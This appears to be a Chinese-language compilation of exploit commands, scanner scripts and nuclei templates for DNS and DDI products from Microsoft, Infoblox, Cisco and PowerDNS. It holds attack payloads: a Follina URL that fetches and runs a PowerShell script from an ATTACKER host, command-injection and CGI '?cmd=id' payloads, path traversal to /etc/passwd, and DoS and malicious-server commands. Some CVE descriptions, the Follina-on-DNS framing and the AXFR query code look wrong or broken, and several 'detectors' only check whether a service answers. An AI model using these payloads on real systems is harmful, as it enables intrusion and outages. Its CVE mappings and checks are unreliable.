DNS安全与DDI基础设施高危攻击链专题：Microsoft DNS / Infoblox / Cisco / PowerDNS 漏洞全解析

curl -k -X POST "https://TARGET_DNS_SERVER:8443/dns-query" \
  -H "Content-Type: application/dns-message" \
  --data-binary @maligned_sig_response.bin

# 搭建恶意权威 DNS 服务器（基于 scapy）
python3 malicious_dns_server.py --domain target.example.com --sig-size 65535 --port 53

#!/usr/bin/env python3
"""CVE-2020-1350 SIGRed 检测脚本（非破坏性探测版本）"""
import socket
import struct
import sys

def build_dns_query(domain="example.com", query_type=46):
    txn_id = b'\xaa\xbb'
    flags = b'\x01\x20'
    qdcount = b'\x00\x01'
    ancount = b'\x00\x00'
    nscount = b'\x00\x00'
    arcount = b'\x00\x00'
    header = txn_id + flags + qdcount + ancount + nscount + arcount

    qname = b''
    for label in domain.split('.'):
        qname += bytes([len(label)]) + label.encode()
    qname += b'\x00'
    qtype = struct.pack('>H', query_type)
    qclass = struct.pack('>H', 1)
    return header + qname + qtype + qclass

def check_sigred(target, port=53, timeout=5):
    query = build_dns_query("test.sigred.check")
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(timeout)
        sock.sendto(query, (target, port))
        response, _ = sock.recvfrom(4096)
        sock.close()
        print(f"[+] {target}:{port} 响应正常，DNS 服务存活")
        print(f"    响应长度: {len(response)} bytes")
        print(f"    [*] 注意：此检测仅验证 DNS 服务存活，不触发漏洞")
        print(f"    [*] 请确认已安装 2020-07 月度安全更新")
        return True
    except socket.timeout:
        print(f"[-] {target}:{port} 连接超时，DNS 服务可能不可达")
        return False
    except ConnectionRefusedError:
        print(f"[-] {target}:{port} 连接被拒绝")
        return False
    except Exception as e:
        print(f"[!] {target}:{port} 异常: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_dns_server>")
        sys.exit(1)
    target = sys.argv[1]
    check_sigred(target)

id: CVE-2020-1350

info:
  name: Microsoft Windows DNS Server - SIGRed Remote Code Execution (CVE-2020-1350)
  author: x7peeps
  severity: critical
  description: Windows DNS Server存在整数溢出导致的堆缓冲区溢出漏洞，未经认证的远程攻击者可通过发送恶意DNS响应实现远程代码执行。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-1350
    - https://check Point.com/research/sigred/
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1350
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2020-1350
  tags: cve,cve2020,windows,dns,rce,sigred

network:
  - inputs:
      - data: "{{hex_decode('aabb0120000100000000000004746573740a73696772656403636f6d00002e0001')}}"
        read: 1024
        host: "{{Hostname}}"
        port: 53
        type: udp

    host-styled: true
    read-size: 1024

    matchers:
      - type: binary
        part: body
        binary:
          - "aabb"
          - "0120"

curl -k -X GET "https://TARGET/?ms-msdt:/id PCWDiagnostic /skip true /param \"IT_Language=PowerShell;pcwscript.ps1?c=IEX(IWR('http://ATTACKER/payload.ps1'))\""

#!/usr/bin/env python3
"""CVE-2022-30190 Follina 检测脚本（非破坏性版本）"""
import requests
import sys

def check_follina(target, timeout=5):
    url = f"https://{target}/"
    payloads = [
        "/?ms-msdt:/id PCWDiagnostic /skip true",
        "/?ms-msdt:PCWDiagnostic",
    ]
    for payload in payloads:
        try:
            full_url = url + payload
            resp = requests.get(full_url, verify=False, timeout=timeout, allow_redirects=False)
            if resp.status_code == 200:
                print(f"[+] {target} 响应状态码 200，可能受影响")
                print(f"    URL: {full_url}")
                return True
        except requests.exceptions.ConnectionError:
            print(f"[-] {target} 连接失败")
        except requests.exceptions.Timeout:
            print(f"[-] {target} 连接超时")
        except Exception as e:
            print(f"[!] {target} 异常: {e}")
    print(f"[-] {target} 未检测到 Follina 漏洞特征")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    check_follina(sys.argv[1])

id: CVE-2022-30190

info:
  name: Windows MSDT - Follina Remote Code Execution
  author: x7peeps
  severity: high
  description: Microsoft Windows MSDT组件存在代码执行漏洞，通过ms-msdt URI Scheme可触发任意代码执行，在DNS Server环境中可用于权限提升。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-30190
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-30190
  tags: cve,cve2022,windows,follina,msdt,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/?ms-msdt:/id PCWDiagnostic /skip true"
    matchers-condition: or
    matchers:
      - type: word
        words:
          - "ms-msdt"
        part: body

      - type: status
        status:
          - 200

curl -k "https://TARGET/GridManager/xhr/getGridInfo" \
  -H "Accept: application/json"

curl -k "https://TARGET/GridManager/xhr/getMemberInfo" \
  -H "Accept: application/json"

curl -k "https://TARGET/GridManager/xhr/getNetworkConfig" \
  -H "Accept: application/json"

#!/usr/bin/env python3
"""CVE-2021-45609 Infoblox NIOS Grid Manager 未授权访问检测"""
import requests
import json
import sys

requests.packages.urllib3.disable_warnings()

ENDPOINTS = [
    "/GridManager/xhr/getGridInfo",
    "/GridManager/xhr/getMemberInfo",
    "/GridManager/xhr/getNetworkConfig",
    "/wapi/v2.0/grid",
    "/wapi/v2.0/member",
]

def check_infoblox_unauth(target, timeout=10):
    found = []
    for endpoint in ENDPOINTS:
        url = f"https://{target}{endpoint}"
        try:
            resp = requests.get(url, verify=False, timeout=timeout, headers={
                "Accept": "application/json"
            })
            if resp.status_code == 200:
                try:
                    data = resp.json()
                    if "result" in data or "items" in data or "grid_name" in data:
                        found.append(endpoint)
                        print(f"[+] {target}{endpoint} - 未授权访问成功!")
                        print(f"    数据: {json.dumps(data, indent=2)[:200]}")
                except json.JSONDecodeError:
                    if len(resp.text) > 50:
                        found.append(endpoint)
                        print(f"[+] {target}{endpoint} - 可能存在未授权访问")
            elif resp.status_code == 401:
                print(f"[-] {target}{endpoint} - 需要认证")
            else:
                print(f"[-] {target}{endpoint} - 状态码: {resp.status_code}")
        except requests.exceptions.ConnectionError:
            print(f"[-] {target} 连接失败")
            return []
        except Exception as e:
            print(f"[!] {target}{endpoint} 异常: {e}")
    return found

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_infoblox>")
        sys.exit(1)
    results = check_infoblox_unauth(sys.argv[1])
    if results:
        print(f"\n[*] 共发现 {len(results)} 个未授权端点")
    else:
        print(f"\n[-] 未发现未授权访问端点")

id: CVE-2021-45609

info:
  name: Infoblox NIOS Grid Manager - XHR Unauthorized Access
  author: x7peeps
  severity: critical
  description: Infoblox NIOS Grid Manager Web界面的XHR端点存在认证缺陷，未认证攻击者可直接访问管理接口获取敏感配置数据。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45609
    - https://www.infoblox.com/security-advisories/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.8
    cve-id: CVE-2021-45609
  tags: cve,cve2021,infoblox,nios,unauth,info-leak

http:
  - method: GET
    path:
      - "{{BaseURL}}/wapi/v2.0/grid"
      - "{{BaseURL}}/wapi/v2.0/member"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "result"
          - "items"
        condition: or

# 使用 Infoblox WAPI 检查 Grid 成员状态
curl -k -u admin:password "https://TARGET/wapi/v2.0/grid/member" \
  -H "Accept: application/json"

# 检查 Grid 状态
curl -k -u admin:password "https://TARGET/wapi/v2.0/grid" \
  -H "Accept: application/json"

#!/usr/bin/env python3
"""CVE-2020-5111 Infoblox NIOS Grid 认证绕过检测"""
import socket
import struct
import sys

GRID_PROTOCOL_PORT = 1223

def check_grid_protocol(target, timeout=5):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        sock.connect((target, GRID_PROTOCOL_PORT))
        banner = sock.recv(1024)
        sock.close()
        if banner:
            print(f"[+] {target}:{GRID_PROTOCOL_PORT} Grid 协议端口开放")
            print(f"    Banner: {banner[:100]}")
            print(f"    [*] 建议验证是否已安装 Infoblox NIOS 8.2.2+ 补丁")
            return True
    except socket.timeout:
        print(f"[-] {target}:{GRID_PROTOCOL_PORT} 连接超时")
    except ConnectionRefusedError:
        print(f"[-] {target}:{GRID_PROTOCOL_PORT} 端口未开放")
    except Exception as e:
        print(f"[!] {target}:{GRID_PROTOCOL_PORT} 异常: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_infoblox>")
        sys.exit(1)
    check_grid_protocol(sys.argv[1])

id: CVE-2020-5111

info:
  name: Infoblox NIOS Grid - Authentication Bypass
  author: x7peeps
  severity: critical
  description: Infoblox NIOS Grid成员间通信协议存在认证绕过漏洞，攻击者可伪造Grid成员身份加入Grid获取管理权限。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5111
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-5111
  tags: cve,cve2020,infoblox,nios,auth-bypass

network:
  - inputs:
      - host: "{{Hostname}}"
        port: 1223
        type: tcp

    host-styled: true
    read-size: 1024

    matchers:
      - type: binary
        part: body
        binary:
          - "0a"

curl -k -X POST "https://TARGET/api/devices" \
  -H "Content-Type: application/json" \
  -d '{"device_ip": "127.0.0.1;id", "community": "public"}'

#!/usr/bin/env python3
"""CVE-2024-25579 Infoblox NetMRI 命令注入检测"""
import requests
import sys

requests.packages.urllib3.disable_warnings()

def check_netmri(target, timeout=10):
    url = f"https://{target}/api/devices"
    payloads = [
        {"device_ip": "127.0.0.1;id", "community": "public"},
        {"device_ip": "127.0.0.1`id`", "community": "public"},
    ]
    for payload in payloads:
        try:
            resp = requests.post(url, json=payload, verify=False, timeout=timeout)
            if "uid=" in resp.text or "gid=" in resp.text:
                print(f"[+] {target} 命令注入漏洞存在!")
                print(f"    响应: {resp.text[:200]}")
                return True
            elif resp.status_code == 200:
                print(f"[+] {target} API 端点可访问，状态码 200")
            elif resp.status_code in [401, 403]:
                print(f"[-] {target} 需要认证")
            else:
                print(f"[-] {target} 状态码: {resp.status_code}")
        except requests.exceptions.ConnectionError:
            print(f"[-] {target} 连接失败")
            return False
        except Exception as e:
            print(f"[!] {target} 异常: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_netmri>")
        sys.exit(1)
    check_netmri(sys.argv[1])

id: CVE-2024-25579

info:
  name: Infoblox NetMRI - Unauthenticated Command Injection
  author: x7peeps
  severity: critical
  description: Infoblox NetMRI网络设备管理平台存在未认证命令注入漏洞，可导致完整系统接管。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-25579
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-25579
  tags: cve,cve2024,infoblox,netmri,rce

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/devices"
    body: '{"device_ip": "127.0.0.1;id", "community": "public"}'
    headers:
      Content-Type: application/json
    matchers:
      - type: word
        words:
          - "uid="
          - "gid="
        condition: or

curl -k -X POST "https://TARGET/dna/intent/api/v1/network-device" \
  -H "Content-Type: application/json" \
  -H "X-Auth-Token: AUTH_TOKEN" \
  -d '{"hostname": "test;id", "managementIpAddress": "10.0.0.1"}'

#!/usr/bin/env python3
"""CVE-2021-3626 Cisco Catalyst Center 命令注入检测"""
import requests
import sys

requests.packages.urllib3.disable_warnings()

def check_catalyst(target, auth_token, timeout=10):
    url = f"https://{target}/dna/intent/api/v1/network-device"
    headers = {
        "Content-Type": "application/json",
        "X-Auth-Token": auth_token
    }
    payload = {
        "hostname": "test;id",
        "managementIpAddress": "10.0.0.1"
    }
    try:
        resp = requests.post(url, json=payload, headers=headers, verify=False, timeout=timeout)
        if "uid=" in resp.text or "gid=" in resp.text:
            print(f"[+] {target} 命令注入漏洞存在!")
            return True
        elif resp.status_code == 200:
            print(f"[+] {target} API 可访问，需验证命令注入")
        elif resp.status_code in [401, 403]:
            print(f"[-] {target} 需要有效认证")
        else:
            print(f"[-] {target} 状态码: {resp.status_code}")
    except requests.exceptions.ConnectionError:
        print(f"[-] {target} 连接失败")
    except Exception as e:
        print(f"[!] {target} 异常: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target> <auth_token>")
        sys.exit(1)
    check_catalyst(sys.argv[1], sys.argv[2])

id: CVE-2021-3626

info:
  name: Cisco Catalyst Center - Command Injection
  author: x7peeps
  severity: high
  description: Cisco Catalyst Center API存在命令注入漏洞，经过认证的攻击者可执行任意系统命令。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3626
    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-dnac-cmdinject-Kj8dV6Bd
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-3626
  tags: cve,cve2021,cisco,catalyst-center,command-injection

http:
  - method: POST
    path:
      - "{{BaseURL}}/dna/intent/api/v1/network-device"
    body: '{"hostname": "test;id", "managementIpAddress": "10.0.0.1"}'
    headers:
      Content-Type: application/json
    matchers:
      - type: word
        words:
          - "uid="

curl -k "https://TARGET/api/v1/network-device/file/../../../../../../etc/passwd" \
  -H "X-Auth-Token: AUTH_TOKEN"

curl -k "https://TARGET/api/v1/network-device/config/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd" \
  -H "X-Auth-Token: AUTH_TOKEN"

#!/usr/bin/env python3
"""CVE-2021-1577 Cisco DNA Center 路径遍历检测"""
import requests
import sys

requests.packages.urllib3.disable_warnings()

TRaversal_PAYLOADS = [
    "../../../../../../etc/passwd",
    "..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd",
    "....//....//....//....//etc/passwd",
]

def check_path_traversal(target, auth_token, timeout=10):
    headers = {"X-Auth-Token": auth_token}
    for payload in TRaversal_PAYLOADS:
        url = f"https://{target}/api/v1/network-device/file/{payload}"
        try:
            resp = requests.get(url, headers=headers, verify=False, timeout=timeout)
            if "root:" in resp.text or "daemon:" in resp.text:
                print(f"[+] {target} 路径遍历漏洞存在!")
                print(f"    Payload: {payload}")
                print(f"    内容: {resp.text[:200]}")
                return True
        except Exception as e:
            print(f"[!] {target} 异常: {e}")
    print(f"[-] {target} 未检测到路径遍历漏洞")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target> <auth_token>")
        sys.exit(1)
    check_path_traversal(sys.argv[1], sys.argv[2])

id: CVE-2021-1577

info:
  name: Cisco DNA Center - Path Traversal File Read
  author: x7peeps
  severity: high
  description: Cisco DNA Center Web界面存在路径遍历漏洞，经过认证的攻击者可读取系统任意文件。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-1577
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-1577
  tags: cve,cve2021,cisco,dna-center,path-traversal

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/network-device/file/../../../../../../etc/passwd"
    matchers:
      - type: word
        words:
          - "root:"
          - "daemon:"
        condition: or

# 使用 dnsperf 发送畸形查询
dnsperf -s TARGET -d malformed_queries.txt -l 30

#!/usr/bin/env python3
"""CVE-2020-25165 PowerDNS Authoritative DoS 检测"""
import socket
import struct
import sys

def build_malformed_query(domain="test.example.com", query_type=255):
    txn_id = b'\xcc\xdd'
    flags = b'\x01\x00'
    qdcount = struct.pack('>H', 1)
    ancount = b'\x00\x00'
    nscount = b'\x00\x00'
    arcount = b'\x00\x00'
    header = txn_id + flags + qdcount + ancount + nscount + arcount

    qname = b''
    for label in domain.split('.'):
        qname += bytes([len(label)]) + label.encode()
    qname += b'\x00'
    qtype = struct.pack('>H', query_type)
    qclass = struct.pack('>H', 1)
    return header + qname + qtype + qclass

def check_powerdns(target, port=53, timeout=3):
    query = build_malformed_query("test.powerdns.dos.check")
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(timeout)
        sock.sendto(query, (target, port))
        response, _ = sock.recvfrom(4096)
        sock.close()
        print(f"[+] {target}:{port} PowerDNS 存活，响应长度: {len(response)}")
        print(f"[*] 检查是否使用 GSQL 后端并启用 zone-tuning")
        return True
    except socket.timeout:
        print(f"[-] {target}:{port} 超时")
    except Exception as e:
        print(f"[!] {target}:{port} 异常: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_powerdns>")
        sys.exit(1)
    check_powerdns(sys.argv[1])

id: CVE-2020-25165

info:
  name: PowerDNS Authoritative - Denial of Service
  author: x7peeps
  severity: high
  description: PowerDNS Authoritative Server在使用GSQL后端并启用zone-tuning时，特制DNS查询可触发段错误导致服务崩溃。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25165
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2020-25165
  tags: cve,cve2020,powerdns,dos

network:
  - inputs:
      - data: "ccdd010000010000000000000474657374076578616d706c6503636f6d0000ff0001"
        read: 1024
        host: "{{Hostname}}"
        port: "{{Port}}"
        type: udp

    host-styled: true
    read-size: 1024

    matchers:
      - type: binary
        part: body
        binary:
          - "ccdd"

# 需要作为恶意 AXFR 主服务器发送响应
python3 malicious_axfr_server.py --target TARGET_POWERDNS --zone evil.example.com

#!/usr/bin/env python3
"""CVE-2020-17482 PowerDNS AXFR 整数下溢检测"""
import socket
import struct
import sys

def check_axfr_support(target, port=53, timeout=5):
    txn_id = b'\xdd\xee'
    flags = b'\x01\x00'
    qdcount = struct.pack('>H', 1)
    ancount = b'\x00\x00'
    nscount = b'\x00\x00'
    arcount = b'\x00\x00'
    header = txn_id + flags + qdcount + ancount + nscount + arcount

    qname = b'\x0474657374\x076578616d706c65\x03636f6d\x00'
    qtype = struct.pack('>H', 252)
    qclass = struct.pack('>H', 1)
    query = header + bytes.fromhex(qname[1:].decode()) + qtype + qclass

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        sock.connect((target, port))
        tcp_query = struct.pack('>H', len(query)) + query
        sock.send(tcp_query)
        response = sock.recv(4096)
        sock.close()
        print(f"[+] {target}:{port} AXFR 端口可达，响应长度: {len(response)}")
        print(f"[*] 检查 PowerDNS 版本是否为 4.3.0")
        return True
    except Exception as e:
        print(f"[-] {target}:{port} AXFR 检测失败: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_powerdns>")
        sys.exit(1)
    check_axfr_support(sys.argv[1])

id: CVE-2020-17482

info:
  name: PowerDNS Authoritative - Integer Underflow
  author: x7peeps
  severity: high
  description: PowerDNS Authoritative Server 4.3.0处理AXFR响应时存在整数下溢漏洞，可导致缓冲区过读。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17482
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2020-17482
  tags: cve,cve2020,powerdns,integer-underflow

network:
  - inputs:
      - data: "001cdd010000010000000000000474657374076578616d706c6503636f6d0000fc0001"
        read: 1024
        host: "{{Hostname}}"
        port: 53
        type: tcp

    host-styled: true
    read-size: 1024

    matchers:
      - type: binary
        part: body
        binary:
          - "dd01"

# 使用 dnsperf 对 Recursor 发送大量恶意响应
dnsperf -s TARGET_RECURSOR -d infinite_loop_payloads.txt -l 60 -c 100

#!/usr/bin/env python3
"""CVE-2020-25839 PowerDNS Recursor CPU 耗尽检测"""
import socket
import struct
import sys

def check_recursor_alive(target, port=53, timeout=3):
    txn_id = b'\xee\xff'
    flags = b'\x01\x00'
    qdcount = struct.pack('>H', 1)
    ancount = b'\x00\x00'
    nscount = b'\x00\x00'
    arcount = b'\x00\x00'
    header = txn_id + flags + qdcount + ancount + nscount + arcount

    qname = b''
    for label in "test.powerdns.cpu.check".split('.'):
        qname += bytes([len(label)]) + label.encode()
    qname += b'\x00'
    qtype = struct.pack('>H', 1)
    qclass = struct.pack('>H', 1)
    query = header + qname + qtype + qclass

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(timeout)
        sock.sendto(query, (target, port))
        response, _ = sock.recvfrom(4096)
        sock.close()
        print(f"[+] {target}:{port} PowerDNS Recursor 存活")
        print(f"[*] 请确认版本已升级至 4.4.1+ 或 4.3.4+")
        return True
    except socket.timeout:
        print(f"[-] {target}:{port} 超时")
    except Exception as e:
        print(f"[!] {target}:{port} 异常: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_recursor>")
        sys.exit(1)
    check_recursor_alive(sys.argv[1])

id: CVE-2020-25839

info:
  name: PowerDNS Recursor - CPU Exhaustion DoS
  author: x7peeps
  severity: high
  description: PowerDNS Recursor处理特定DNS响应时存在无限循环缺陷，可导致CPU耗尽拒绝服务。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25839
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2020-25839
  tags: cve,cve2020,powerdns,recursor,cpu-dos

network:
  - inputs:
      - data: "eeff010000010000000000000474657374076578616d706c6503636f6d0000010001"
        read: 1024
        host: "{{Hostname}}"
        port: "{{Port}}"
        type: udp

    host-styled: true
    read-size: 1024

    matchers:
      - type: binary
        part: body
        binary:
          - "eeff"

# 验证 DNSSEC 绕过（需搭建恶意权威服务器）
python3 dnssec_bypass_test.py --target TARGET_RECURSOR --domain evil.dnssec.test

#!/usr/bin/env python3
"""CVE-2023-42415 PowerDNS Recursor DNSSEC 绕过检测"""
import subprocess
import sys

def check_dnssec(target, domain="example.com", timeout=5):
    try:
        result = subprocess.run(
            ["dig", f"@{target}", domain, "A", "+dnssec", "+short"],
            capture_output=True, text=True, timeout=timeout
        )
        if result.stdout.strip():
            print(f"[+] {target} DNS 响应正常")
            print(f"    结果: {result.stdout.strip()}")
            print(f"[*] 检查 PowerDNS Recursor 版本是否在受影响范围")
            print(f"    受影响: 4.8.x < 4.8.5, 4.9.x < 4.9.2")
            return True
        else:
            print(f"[-] {target} 无 DNS 响应")
    except FileNotFoundError:
        print("[!] dig 命令不可用，尝试使用 Python socket")
    except subprocess.TimeoutExpired:
        print(f"[-] {target} dig 查询超时")
    except Exception as e:
        print(f"[!] {target} 异常: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_recursor>")
        sys.exit(1)
    check_dnssec(sys.argv[1])

id: CVE-2023-42415

info:
  name: PowerDNS Recursor - DNSSEC Validation Bypass
  author: x7peeps
  severity: high
  description: PowerDNS Recursor DNSSEC验证机制存在缺陷，特定条件下可绕过验证允许DNS缓存投毒。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-42415
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-42415
  tags: cve,cve2023,powerdns,dnssec,bypass

dns:
  - name: "{{FQDN}}"
    type: A
    class: inet
    recursion: true
    dnssec: true
    retries: 2

    matchers:
      - type: word
        words:
          - "NOERROR"

curl -k "https://TARGET/powerdns-admin/cgi-bin/?cmd=id"

#!/usr/bin/env python3
"""CVE-2019-0230 Tomcat CGI RCE 检测（影响 PowerDNS Web 管理）"""
import requests
import sys

requests.packages.urllib3.disable_warnings()

def check_tomcat_cgi(target, timeout=10):
    paths = [
        "/powerdns-admin/cgi-bin/?cmd=id",
        "/cgi-bin/?cmd=id",
        "/powerdns/cgi-bin/?cmd=id",
    ]
    for path in paths:
        url = f"https://{target}{path}"
        try:
            resp = requests.get(url, verify=False, timeout=timeout)
            if "uid=" in resp.text or "gid=" in resp.text:
                print(f"[+] {target}{path} CGI RCE 漏洞存在!")
                print(f"    响应: {resp.text[:200]}")
                return True
            elif resp.status_code == 500:
                print(f"[+] {target}{path} 返回 500，CGI 可能启用")
        except requests.exceptions.ConnectionError:
            print(f"[-] {target} 连接失败")
            return False
        except Exception as e:
            print(f"[!] {target}{path} 异常: {e}")
    print(f"[-] {target} 未检测到 CGI RCE 漏洞")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    check_tomcat_cgi(sys.argv[1])

id: CVE-2019-0230

info:
  name: Apache Tomcat CGI - Remote Code Execution
  author: x7peeps
  severity: high
  description: Apache Tomcat CGI Servlet在启用enableCmdLineArguments时存在命令注入漏洞，影响使用Tomcat的PowerDNS Web管理界面。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-0230
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2019-0230
  tags: cve,cve2019,tomcat,cgi,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/?cmd=id"
    matchers:
      - type: word
        words:
          - "uid="
          - "gid="
        condition: or